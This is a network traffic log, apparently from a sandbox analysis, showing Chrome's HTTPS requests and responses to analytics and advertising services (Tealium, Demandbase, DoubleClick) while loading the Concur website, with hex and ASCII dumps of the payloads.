2024-10-03 08:41:41 UTC	573	OUT	GET /utag/concur/concur/prod/utag.1235.js?utv=ut4.39.202209222013 HTTP/1.1 Host: tags.tiqcdn.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://www.concur.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-10-03 08:41:42 UTC	605	IN	HTTP/1.1 200 OK Content-Type: application/javascript Content-Length: 2002 Connection: close Date: Thu, 03 Oct 2024 08:41:42 GMT Last-Modified: Thu, 26 Sep 2024 17:13:22 GMT ETag: "e538d43680289028aec3499f6b4c03db" x-amz-server-side-encryption: AES256 x-amz-version-id: wUVJiluaLPV1FGI2xhtU1uDr4UV6X2Pk Accept-Ranges: bytes Server: AmazonS3 Vary: Accept-Encoding X-Cache: Miss from cloudfront Via: 1.1 46b6cb3d5daab7defe28d3658c3a54fe.cloudfront.net (CloudFront) X-Amz-Cf-Pop: FRA60-P9 X-Amz-Cf-Id: fgfhAysXg9ScLv5glI-tgJFkl6iq7kWd6vl9HvUCRlcWFCvOwdGCnQ== Cache-Control: max-age=1296000
2024-10-03 08:41:42 UTC	2002	IN	Data Raw: 2f 2f 74 65 61 6c 69 75 6d 20 75 6e 69 76 65 72 73 61 6c 20 74 61 67 20 2d 20 75 74 61 67 2e 31 32 33 35 20 75 74 34 2e 30 2e 32 30 32 34 30 39 32 36 31 37 31 30 2c 20 43 6f 70 79 72 69 67 68 74 20 32 30 32 34 20 54 65 61 6c 69 75 6d 2e 63 6f 6d 20 49 6e 63 2e 20 41 6c 6c 20 52 69 67 68 74 73 20 52 65 73 65 72 76 65 64 2e 0a 74 72 79 7b 28 66 75 6e 63 74 69 6f 6e 28 69 64 2c 6c 6f 61 64 65 72 29 7b 76 61 72 20 75 3d 7b 7d 3b 75 74 61 67 2e 6f 5b 6c 6f 61 64 65 72 5d 2e 73 65 6e 64 65 72 5b 69 64 5d 3d 75 3b 75 2e 65 76 3d 7b 22 76 69 65 77 22 3a 31 7d 3b 75 2e 6d 61 70 3d 7b 7d 3b 75 2e 65 78 74 65 6e 64 3d 5b 5d 3b 75 2e 73 65 6e 64 3d 66 75 6e 63 74 69 6f 6e 28 61 2c 62 29 7b 69 66 28 75 2e 65 76 5b 61 5d 7c 7c 75 2e 65 76 2e 61 6c 6c 21 3d 3d 75 6e 64 Data Ascii: //tealium universal tag - utag.1235 ut4.0.202409261710, Copyright 2024 Tealium.com Inc. All Rights Reserved.try{(function(id,loader){var u={};utag.o[loader].sender[id]=u;u.ev={"view":1};u.map={};u.extend=[];u.send=function(a,b){if(u.ev[a]\|\|u.ev.all!==und

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
87	192.168.2.4	49946	13.33.187.60	443	8056	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-03 08:41:41 UTC	399	OUT	GET /utag/concur/concur/prod/utag.1143.js?utv=ut4.39.202104161600 HTTP/1.1 Host: tags.tiqcdn.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-10-03 08:41:41 UTC	612	IN	HTTP/1.1 200 OK Content-Type: application/javascript Content-Length: 2056 Connection: close Date: Thu, 03 Oct 2024 08:41:41 GMT Last-Modified: Thu, 26 Sep 2024 17:13:22 GMT ETag: "ad80207d3cc7639304ef3c676c7a92c7" x-amz-server-side-encryption: AES256 x-amz-version-id: 3IBU7cXVbAIa4X.6JdU5mPBhjoswSDQk Accept-Ranges: bytes Server: AmazonS3 Vary: Accept-Encoding X-Cache: Hit from cloudfront Via: 1.1 3e79abe3bfc4a431738eb9199cb216f6.cloudfront.net (CloudFront) X-Amz-Cf-Pop: FRA60-P9 X-Amz-Cf-Id: 52a0J40lumWays36qIJhcLYmJWp-XSwDiManBmGqLX5rP8OYrmGNJQ== Age: 1 Cache-Control: max-age=1296000
2024-10-03 08:41:41 UTC	2056	IN	Data Raw: 2f 2f 74 65 61 6c 69 75 6d 20 75 6e 69 76 65 72 73 61 6c 20 74 61 67 20 2d 20 75 74 61 67 2e 31 31 34 33 20 75 74 34 2e 30 2e 32 30 32 34 30 39 32 36 31 37 31 30 2c 20 43 6f 70 79 72 69 67 68 74 20 32 30 32 34 20 54 65 61 6c 69 75 6d 2e 63 6f 6d 20 49 6e 63 2e 20 41 6c 6c 20 52 69 67 68 74 73 20 52 65 73 65 72 76 65 64 2e 0a 74 72 79 7b 28 66 75 6e 63 74 69 6f 6e 28 69 64 2c 6c 6f 61 64 65 72 29 7b 76 61 72 20 75 3d 7b 7d 3b 75 74 61 67 2e 6f 5b 6c 6f 61 64 65 72 5d 2e 73 65 6e 64 65 72 5b 69 64 5d 3d 75 3b 69 66 28 75 74 61 67 3d 3d 3d 75 6e 64 65 66 69 6e 65 64 29 7b 75 74 61 67 3d 7b 7d 3b 7d 69 66 28 75 74 61 67 2e 75 74 3d 3d 3d 75 6e 64 65 66 69 6e 65 64 29 7b 75 74 61 67 2e 75 74 3d 7b 7d 3b 7d 69 66 28 75 74 61 67 2e 75 74 2e 6c 6f 61 64 65 72 3d Data Ascii: //tealium universal tag - utag.1143 ut4.0.202409261710, Copyright 2024 Tealium.com Inc. All Rights Reserved.try{(function(id,loader){var u={};utag.o[loader].sender[id]=u;if(utag===undefined){utag={};}if(utag.ut===undefined){utag.ut={};}if(utag.ut.loader=

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
88	192.168.2.4	49947	13.33.187.60	443	8056	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-03 08:41:41 UTC	399	OUT	GET /utag/concur/concur/prod/utag.1145.js?utv=ut4.39.202404161901 HTTP/1.1 Host: tags.tiqcdn.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-10-03 08:41:41 UTC	612	IN	HTTP/1.1 200 OK Content-Type: application/javascript Content-Length: 3398 Connection: close Date: Thu, 03 Oct 2024 08:41:41 GMT Last-Modified: Thu, 26 Sep 2024 17:13:14 GMT ETag: "d0bfc2c6a517e33f601501cfc080c76e" x-amz-server-side-encryption: AES256 x-amz-version-id: diuXyZ6cqBuXpRuAYx3.IeIEYwCM6g41 Accept-Ranges: bytes Server: AmazonS3 Vary: Accept-Encoding X-Cache: Hit from cloudfront Via: 1.1 3677df2c828d68a6a84555cd8a40cf50.cloudfront.net (CloudFront) X-Amz-Cf-Pop: FRA60-P9 X-Amz-Cf-Id: -Kox44coELoUX9vPZCqUkbqrgu8rfU7BQgf7InC1TAKACwi5_QNj9w== Age: 1 Cache-Control: max-age=1296000
2024-10-03 08:41:41 UTC	3398	IN	Data Raw: 2f 2f 74 65 61 6c 69 75 6d 20 75 6e 69 76 65 72 73 61 6c 20 74 61 67 20 2d 20 75 74 61 67 2e 31 31 34 35 20 75 74 34 2e 30 2e 32 30 32 34 30 39 32 36 31 37 31 30 2c 20 43 6f 70 79 72 69 67 68 74 20 32 30 32 34 20 54 65 61 6c 69 75 6d 2e 63 6f 6d 20 49 6e 63 2e 20 41 6c 6c 20 52 69 67 68 74 73 20 52 65 73 65 72 76 65 64 2e 0a 74 72 79 7b 28 66 75 6e 63 74 69 6f 6e 28 69 64 2c 6c 6f 61 64 65 72 29 7b 76 61 72 20 75 3d 7b 22 69 64 22 3a 69 64 7d 3b 75 74 61 67 2e 6f 5b 6c 6f 61 64 65 72 5d 2e 73 65 6e 64 65 72 5b 69 64 5d 3d 75 3b 69 66 28 75 74 61 67 2e 75 74 3d 3d 3d 75 6e 64 65 66 69 6e 65 64 29 7b 75 74 61 67 2e 75 74 3d 7b 7d 3b 7d 0a 69 66 28 75 74 61 67 2e 75 74 2e 74 79 70 65 4f 66 3d 3d 3d 75 6e 64 65 66 69 6e 65 64 29 7b 75 2e 74 79 70 65 4f 66 3d Data Ascii: //tealium universal tag - utag.1145 ut4.0.202409261710, Copyright 2024 Tealium.com Inc. All Rights Reserved.try{(function(id,loader){var u={"id":id};utag.o[loader].sender[id]=u;if(utag.ut===undefined){utag.ut={};}if(utag.ut.typeOf===undefined){u.typeOf=

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
89	192.168.2.4	49954	34.96.71.22	443	8056	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-03 08:41:42 UTC	694	OUT	GET /s/sync?exc=lr HTTP/1.1 Host: s.company-target.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: navigate Sec-Fetch-Dest: iframe Referer: https://www.concur.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-10-03 08:41:42 UTC	584	IN	HTTP/1.1 200 OK Access-Control-Allow-Methods: GET,OPTIONS Content-Type: text/html; charset=UTF-8 Set-Cookie: tuuid=73baa8d8-6341-4ced-a3a0-0f5a42d3a1e0; Path=/; Domain=company-target.com; Max-Age=63072000; Secure; SameSite=None Set-Cookie: tuuid_lu=1727944902\|ix:0\|mctv:0\|rp:0; Path=/; Domain=company-target.com; Max-Age=63072000; Secure; SameSite=None Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Date: Thu, 03 Oct 2024 08:41:42 GMT Content-Length: 634 Via: 1.1 google Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close
2024-10-03 08:41:42 UTC	634	IN	Data Raw: 3c 68 74 6d 6c 3e 0a 09 3c 68 65 61 64 3e 0a 09 09 3c 74 69 74 6c 65 3e 50 69 78 65 6c 73 3c 2f 74 69 74 6c 65 3e 0a 09 3c 2f 68 65 61 64 3e 0a 09 3c 62 6f 64 79 3e 0a 09 0a 3c 69 6d 67 20 73 72 63 3d 22 68 74 74 70 73 3a 2f 2f 64 73 75 6d 2d 73 65 63 2e 63 61 73 61 6c 65 6d 65 64 69 61 2e 63 6f 6d 2f 72 75 6d 3f 63 6d 5f 64 73 70 5f 69 64 3d 31 38 26 61 6d 70 3b 65 78 70 69 72 79 3d 31 37 34 33 36 36 39 37 30 32 26 61 6d 70 3b 65 78 74 65 72 6e 61 6c 5f 75 73 65 72 5f 69 64 3d 37 33 62 61 61 38 64 38 2d 36 33 34 31 2d 34 63 65 64 2d 61 33 61 30 2d 30 66 35 61 34 32 64 33 61 31 65 30 22 20 61 6c 74 3d 22 22 20 77 69 64 74 68 3d 22 30 22 20 68 65 69 67 68 74 3d 22 30 22 20 73 74 79 6c 65 3d 22 64 69 73 70 6c 61 79 3a 6e 6f 6e 65 22 2c 20 61 72 69 61 2d 68 Data Ascii: <html><head><title>Pixels</title></head><body><img src="https://dsum-sec.casalemedia.com/rum?cm_dsp_id=18&expiry=1743669702&external_user_id=73baa8d8-6341-4ced-a3a0-0f5a42d3a1e0" alt="" width="0" height="0" style="display:none", aria-h

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
90	192.168.2.4	49949	142.250.185.70	443	8056	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-03 08:41:42 UTC	968	OUT	GET /activityi;dc_pre=CO2zmbDo8YgDFT2O_Qcd2rk2QQ;src=9504840;type=pagev0;cat=homep0;ord=1246699449049.1533? HTTP/1.1 Host: 9504840.fls.doubleclick.net Connection: keep-alive Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 X-Client-Data: CKq1yQEIi7bJAQiktskBCKmdygEIoOHKAQiUocsBCJz+zAEIhaDNAQi5ys0BCIrTzQEY9snNARjrjaUX Sec-Fetch-Site: cross-site Sec-Fetch-Mode: navigate Sec-Fetch-Dest: iframe sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Referer: https://www.concur.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: IDE=AHWqTUmwMnQE6gopMh9bjnND9Ilv9wncBgeJD4FZoI8ES3xvryYs1FhrrVJ3MXxJ7Uk
2024-10-03 08:41:42 UTC	663	IN	HTTP/1.1 200 OK P3P: policyref="https://googleads.g.doubleclick.net/pagead/gcn_p3p_.xml", CP="CURa ADMa DEVa TAIo PSAo PSDo OUR IND UNI PUR INT DEM STA PRE COM NAV OTC NOI DSP COR" Timing-Allow-Origin: * Cross-Origin-Resource-Policy: cross-origin Date: Thu, 03 Oct 2024 08:41:42 GMT Expires: Thu, 03 Oct 2024 08:41:42 GMT Cache-Control: private, max-age=0 Strict-Transport-Security: max-age=21600 Content-Type: text/html; charset=UTF-8 X-Content-Type-Options: nosniff Server: cafe X-XSS-Protection: 0 Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Accept-Ranges: none Vary: Accept-Encoding Connection: close Transfer-Encoding: chunked
2024-10-03 08:41:42 UTC	727	IN	Data Raw: 32 35 64 66 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 48 54 4d 4c 20 34 2e 30 31 20 54 72 61 6e 73 69 74 69 6f 6e 61 6c 2f 2f 45 4e 22 20 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 54 52 2f 68 74 6d 6c 34 2f 6c 6f 6f 73 65 2e 64 74 64 22 3e 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 20 73 74 79 6c 65 3d 22 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 20 74 72 61 6e 73 70 61 72 65 6e 74 22 3e 3c 69 6d 67 20 73 72 63 3d 22 68 74 74 70 73 3a 2f 2f 61 64 73 65 72 76 69 63 65 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 2f 64 64 6d 2f 66 6c 73 2f 7a 2f 64 63 5f 70 72 65 3d 43 4f 32 7a 6d 62 44 6f 38 59 67 44 46 Data Ascii: 25df<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd"><html><head><title></title></head><body style="background-color: transparent"><img src="https://adservice.google.com/ddm/fls/z/dc_pre=CO2zmbDo8YgDF
2024-10-03 08:41:42 UTC	1390	IN	Data Raw: 4b 59 58 4a 6a 61 47 56 30 65 58 42 6c 58 32 6c 6b 4f 69 41 78 4e 67 70 68 63 6d 4e 6f 5a 58 52 35 63 47 56 66 61 57 51 36 49 44 45 33 43 6d 46 79 59 32 68 6c 64 48 6c 77 5a 56 39 70 5a 44 6f 67 4d 54 67 4b 59 58 4a 6a 61 47 56 30 65 58 42 6c 58 32 6c 6b 4f 69 41 78 4f 51 70 68 63 6d 4e 6f 5a 58 52 35 63 47 56 66 61 57 51 36 49 44 49 77 43 6d 46 79 59 32 68 6c 64 48 6c 77 5a 56 39 70 5a 44 6f 67 4d 6a 45 4b 59 58 4a 6a 61 47 56 30 65 58 42 6c 58 32 6c 6b 4f 69 41 78 4f 54 67 34 4e 6a 49 34 4e 41 70 68 63 6d 4e 6f 5a 58 52 35 63 47 56 66 61 57 51 36 49 44 45 35 4f 44 67 32 4d 6a 67 31 43 6d 46 79 59 32 68 6c 64 48 6c 77 5a 56 39 70 5a 44 6f 67 4d 54 6b 34 4f 44 59 79 4f 44 59 4b 59 58 4a 6a 61 47 56 30 65 58 42 6c 58 32 6c 6b 4f 69 41 78 4f 54 67 34 4e 6a Data Ascii: KYXJjaGV0eXBlX2lkOiAxNgphcmNoZXR5cGVfaWQ6IDE3CmFyY2hldHlwZV9pZDogMTgKYXJjaGV0eXBlX2lkOiAxOQphcmNoZXR5cGVfaWQ6IDIwCmFyY2hldHlwZV9pZDogMjEKYXJjaGV0eXBlX2lkOiAxOTg4NjI4NAphcmNoZXR5cGVfaWQ6IDE5ODg2Mjg1CmFyY2hldHlwZV9pZDogMTk4ODYyODYKYXJjaGV0eXBlX2lkOiAxOTg4Nj
2024-10-03 08:41:42 UTC	1390	IN	Data Raw: 48 4e 6c 43 6d 56 6a 61 47 39 66 63 32 56 79 64 6d 56 79 58 32 46 6a 64 47 6c 76 62 6a 6f 67 52 55 4e 49 54 31 39 54 52 56 4a 57 52 56 4a 66 51 55 4e 55 53 55 39 4f 58 31 56 54 52 56 39 43 52 56 4e 55 58 30 46 57 51 55 6c 4d 51 55 4a 4d 52 56 39 42 55 6b 45 4b 59 57 64 6e 63 6d 56 6e 59 58 52 70 62 32 35 66 59 32 39 76 63 6d 52 70 62 6d 46 30 62 33 49 36 49 45 46 48 52 31 4a 46 52 30 46 55 53 55 39 4f 58 30 4e 50 54 31 4a 45 53 55 35 42 56 45 39 53 58 30 46 58 55 77 70 6d 62 47 39 76 5a 47 78 70 5a 32 68 30 58 32 46 79 59 56 39 6a 62 32 35 6d 61 57 64 7a 49 48 73 4b 49 43 42 68 63 6d 4e 6f 5a 58 52 35 63 47 56 7a 58 32 4e 76 62 6d 5a 70 5a 79 42 37 43 69 41 67 49 43 42 68 5a 32 64 79 5a 57 64 68 64 47 56 66 61 32 56 35 58 32 46 79 59 32 68 6c 64 48 6c 77 Data Ascii: HNlCmVjaG9fc2VydmVyX2FjdGlvbjogRUNIT19TRVJWRVJfQUNUSU9OX1VTRV9CRVNUX0FWQUlMQUJMRV9BUkEKYWdncmVnYXRpb25fY29vcmRpbmF0b3I6IEFHR1JFR0FUSU9OX0NPT1JESU5BVE9SX0FXUwpmbG9vZGxpZ2h0X2FyYV9jb25maWdzIHsKICBhcmNoZXR5cGVzX2NvbmZpZyB7CiAgICBhZ2dyZWdhdGVfa2V5X2FyY2hldHlw
2024-10-03 08:41:42 UTC	1390	IN	Data Raw: 66 56 46 6c 51 52 56 39 44 54 31 56 4f 56 41 6f 67 49 43 41 67 49 43 42 68 5a 32 64 79 5a 57 64 68 64 47 56 66 61 32 56 35 58 32 78 6c 64 6d 56 73 4f 69 41 30 43 69 41 67 49 43 41 67 49 47 4e 76 62 6e 52 79 61 57 4a 31 64 47 6c 76 62 6c 39 77 5a 58 4a 6a 5a 57 35 30 59 57 64 6c 4f 69 41 77 4c 6a 6b 33 43 69 41 67 49 43 42 39 43 69 41 67 49 43 42 74 59 58 68 66 59 58 52 30 63 6d 6c 69 64 58 52 70 62 32 35 7a 58 33 42 6c 63 6c 39 70 62 58 42 79 5a 58 4e 7a 61 57 39 75 4f 69 41 30 43 69 41 67 66 51 6f 67 49 48 4e 30 59 58 4a 30 58 32 52 68 64 47 55 36 49 44 49 77 4d 6a 51 77 4f 44 49 34 43 69 41 67 59 32 39 75 5a 6d 6c 6e 58 33 4e 30 59 58 52 31 63 7a 6f 67 55 31 52 42 56 46 56 54 58 30 39 4c 43 6e 30 4b 5a 6d 78 76 62 32 52 73 61 57 64 6f 64 46 39 68 63 6d Data Ascii: fVFlQRV9DT1VOVAogICAgICBhZ2dyZWdhdGVfa2V5X2xldmVsOiA0CiAgICAgIGNvbnRyaWJ1dGlvbl9wZXJjZW50YWdlOiAwLjk3CiAgICB9CiAgICBtYXhfYXR0cmlidXRpb25zX3Blcl9pbXByZXNzaW9uOiA0CiAgfQogIHN0YXJ0X2RhdGU6IDIwMjQwODI4CiAgY29uZmlnX3N0YXR1czogU1RBVFVTX09LCn0KZmxvb2RsaWdodF9hcm
2024-10-03 08:41:42 UTC	1390	IN	Data Raw: 43 41 67 59 32 39 75 64 6d 56 79 63 32 6c 76 62 6c 39 68 63 6d 4e 6f 5a 58 52 35 63 47 56 66 61 57 51 36 49 44 49 4b 49 43 41 67 49 43 41 67 59 32 39 75 64 6c 39 74 5a 58 52 79 61 57 4e 66 64 48 6c 77 5a 54 6f 67 54 55 56 55 55 6b 6c 44 58 31 52 5a 55 45 56 66 51 30 39 56 54 6c 51 4b 49 43 41 67 49 43 41 67 59 57 64 6e 63 6d 56 6e 59 58 52 6c 58 32 74 6c 65 56 39 73 5a 58 5a 6c 62 44 6f 67 4e 41 6f 67 49 43 41 67 49 43 42 6a 62 32 35 30 63 6d 6c 69 64 58 52 70 62 32 35 66 63 47 56 79 59 32 56 75 64 47 46 6e 5a 54 6f 67 4d 43 34 35 4e 77 6f 67 49 43 41 67 66 51 6f 67 49 43 41 67 62 57 46 34 58 32 46 30 64 48 4a 70 59 6e 56 30 61 57 39 75 63 31 39 77 5a 58 4a 66 61 57 31 77 63 6d 56 7a 63 32 6c 76 62 6a 6f 67 4d 54 49 4b 49 43 42 39 43 69 41 67 63 33 52 68 Data Ascii: CAgY29udmVyc2lvbl9hcmNoZXR5cGVfaWQ6IDIKICAgICAgY29udl9tZXRyaWNfdHlwZTogTUVUUklDX1RZUEVfQ09VTlQKICAgICAgYWdncmVnYXRlX2tleV9sZXZlbDogNAogICAgICBjb250cmlidXRpb25fcGVyY2VudGFnZTogMC45NwogICAgfQogICAgbWF4X2F0dHJpYnV0aW9uc19wZXJfaW1wcmVzc2lvbjogMTIKICB9CiAgc3Rh
2024-10-03 08:41:42 UTC	1390	IN	Data Raw: 67 49 43 42 68 63 6d 4e 6f 5a 58 52 35 63 47 56 66 61 57 51 36 49 44 59 7a 4f 44 51 33 4d 54 67 33 4d 51 6f 67 49 43 41 67 49 43 42 70 62 58 42 79 5a 58 4e 7a 61 57 39 75 58 32 46 79 59 32 68 6c 64 48 6c 77 5a 56 39 70 5a 44 6f 67 4d 54 67 4b 49 43 41 67 49 43 41 67 59 32 39 75 64 6d 56 79 63 32 6c 76 62 6c 39 68 63 6d 4e 6f 5a 58 52 35 63 47 56 66 61 57 51 36 49 44 49 4b 49 43 41 67 49 43 41 67 59 32 39 75 64 6c 39 74 5a 58 52 79 61 57 4e 66 64 48 6c 77 5a 54 6f 67 54 55 56 55 55 6b 6c 44 58 31 52 5a 55 45 56 66 51 30 39 56 54 6c 51 4b 49 43 41 67 49 43 41 67 59 57 64 6e 63 6d 56 6e 59 58 52 6c 58 32 74 6c 65 56 39 73 5a 58 5a 6c 62 44 6f 67 4e 41 6f 67 49 43 41 67 49 43 42 6a 62 32 35 30 63 6d 6c 69 64 58 52 70 62 32 35 66 63 47 56 79 59 32 56 75 64 47 Data Ascii: gICBhcmNoZXR5cGVfaWQ6IDYzODQ3MTg3MQogICAgICBpbXByZXNzaW9uX2FyY2hldHlwZV9pZDogMTgKICAgICAgY29udmVyc2lvbl9hcmNoZXR5cGVfaWQ6IDIKICAgICAgY29udl9tZXRyaWNfdHlwZTogTUVUUklDX1RZUEVfQ09VTlQKICAgICAgYWdncmVnYXRlX2tleV9sZXZlbDogNAogICAgICBjb250cmlidXRpb25fcGVyY2VudG
2024-10-03 08:41:42 UTC	1390	IN	Data Raw: 57 4a 31 64 47 6c 76 62 6c 39 77 5a 58 4a 6a 5a 57 35 30 59 57 64 6c 4f 69 41 77 4c 6a 41 78 43 69 41 67 49 43 42 39 43 69 41 67 49 43 42 68 5a 32 64 79 5a 57 64 68 64 47 56 66 61 32 56 35 58 32 46 79 59 32 68 6c 64 48 6c 77 5a 58 4d 67 65 77 6f 67 49 43 41 67 49 43 42 68 63 6d 4e 6f 5a 58 52 35 63 47 56 66 61 57 51 36 49 44 59 7a 4f 44 55 32 4f 54 49 77 4e 77 6f 67 49 43 41 67 49 43 42 70 62 58 42 79 5a 58 4e 7a 61 57 39 75 58 32 46 79 59 32 68 6c 64 48 6c 77 5a 56 39 70 5a 44 6f 67 4d 54 55 4b 49 43 41 67 49 43 41 67 59 32 39 75 64 6d 56 79 63 32 6c 76 62 6c 39 68 63 6d 4e 6f 5a 58 52 35 63 47 56 66 61 57 51 36 49 44 49 4b 49 43 41 67 49 43 41 67 59 32 39 75 64 6c 39 74 5a 58 52 79 61 57 4e 66 64 48 6c 77 5a 54 6f 67 54 55 56 55 55 6b 6c 44 58 31 52 5a Data Ascii: WJ1dGlvbl9wZXJjZW50YWdlOiAwLjAxCiAgICB9CiAgICBhZ2dyZWdhdGVfa2V5X2FyY2hldHlwZXMgewogICAgICBhcmNoZXR5cGVfaWQ6IDYzODU2OTIwNwogICAgICBpbXByZXNzaW9uX2FyY2hldHlwZV9pZDogMTUKICAgICAgY29udmVyc2lvbl9hcmNoZXR5cGVfaWQ6IDIKICAgICAgY29udl9tZXRyaWNfdHlwZTogTUVUUklDX1RZ
2024-10-03 08:41:42 UTC	636	IN	Data Raw: 30 65 58 42 6c 4f 69 42 4e 52 56 52 53 53 55 4e 66 56 46 6c 51 52 56 39 44 54 31 56 4f 56 41 6f 67 49 43 41 67 49 43 42 68 5a 32 64 79 5a 57 64 68 64 47 56 66 61 32 56 35 58 32 78 6c 64 6d 56 73 4f 69 41 7a 43 69 41 67 49 43 41 67 49 47 4e 76 62 6e 52 79 61 57 4a 31 64 47 6c 76 62 6c 39 77 5a 58 4a 6a 5a 57 35 30 59 57 64 6c 4f 69 41 77 4c 6a 41 78 43 69 41 67 49 43 42 39 43 69 41 67 49 43 42 68 5a 32 64 79 5a 57 64 68 64 47 56 66 61 32 56 35 58 32 46 79 59 32 68 6c 64 48 6c 77 5a 58 4d 67 65 77 6f 67 49 43 41 67 49 43 42 68 63 6d 4e 6f 5a 58 52 35 63 47 56 66 61 57 51 36 49 44 59 30 4d 44 6b 7a 4d 7a 55 79 4d 77 6f 67 49 43 41 67 49 43 42 70 62 58 42 79 5a 58 4e 7a 61 57 39 75 58 32 46 79 59 32 68 6c 64 48 6c 77 5a 56 39 70 5a 44 6f 67 4d 54 55 4b 49 43 Data Ascii: 0eXBlOiBNRVRSSUNfVFlQRV9DT1VOVAogICAgICBhZ2dyZWdhdGVfa2V5X2xldmVsOiAzCiAgICAgIGNvbnRyaWJ1dGlvbl9wZXJjZW50YWdlOiAwLjAxCiAgICB9CiAgICBhZ2dyZWdhdGVfa2V5X2FyY2hldHlwZXMgewogICAgICBhcmNoZXR5cGVfaWQ6IDY0MDkzMzUyMwogICAgICBpbXByZXNzaW9uX2FyY2hldHlwZV9pZDogMTUKIC
2024-10-03 08:41:42 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
91	192.168.2.4	49951	18.66.102.98	443	8056	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-03 08:41:42 UTC	773	OUT	POST /api/v3/ip.json?referrer=&page=https%3A%2F%2Fwww.concur.com%2F&page_title=Concur%20-%20Expense%20Management%2C%20Travel%20and%20Invoice%20Software%20-%20SAP%20Concur HTTP/1.1 Host: api.company-target.com Connection: keep-alive Content-Length: 63 sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-platform: "Windows" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Content-Type: text/plain;charset=UTF-8 Accept: / Origin: https://www.concur.com Sec-Fetch-Site: cross-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://www.concur.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-10-03 08:41:42 UTC	63	OUT	Data Raw: 7b 22 73 72 63 22 3a 22 74 61 67 22 2c 22 61 75 74 68 22 3a 22 33 70 4e 56 4e 35 6b 55 44 69 68 63 79 62 35 65 45 35 46 52 70 6b 6f 45 71 64 33 70 68 38 38 54 61 4f 4d 36 45 70 32 50 22 7d Data Ascii: {"src":"tag","auth":"3pNVN5kUDihcyb5eE5FRpkoEqd3ph88TaOM6Ep2P"}
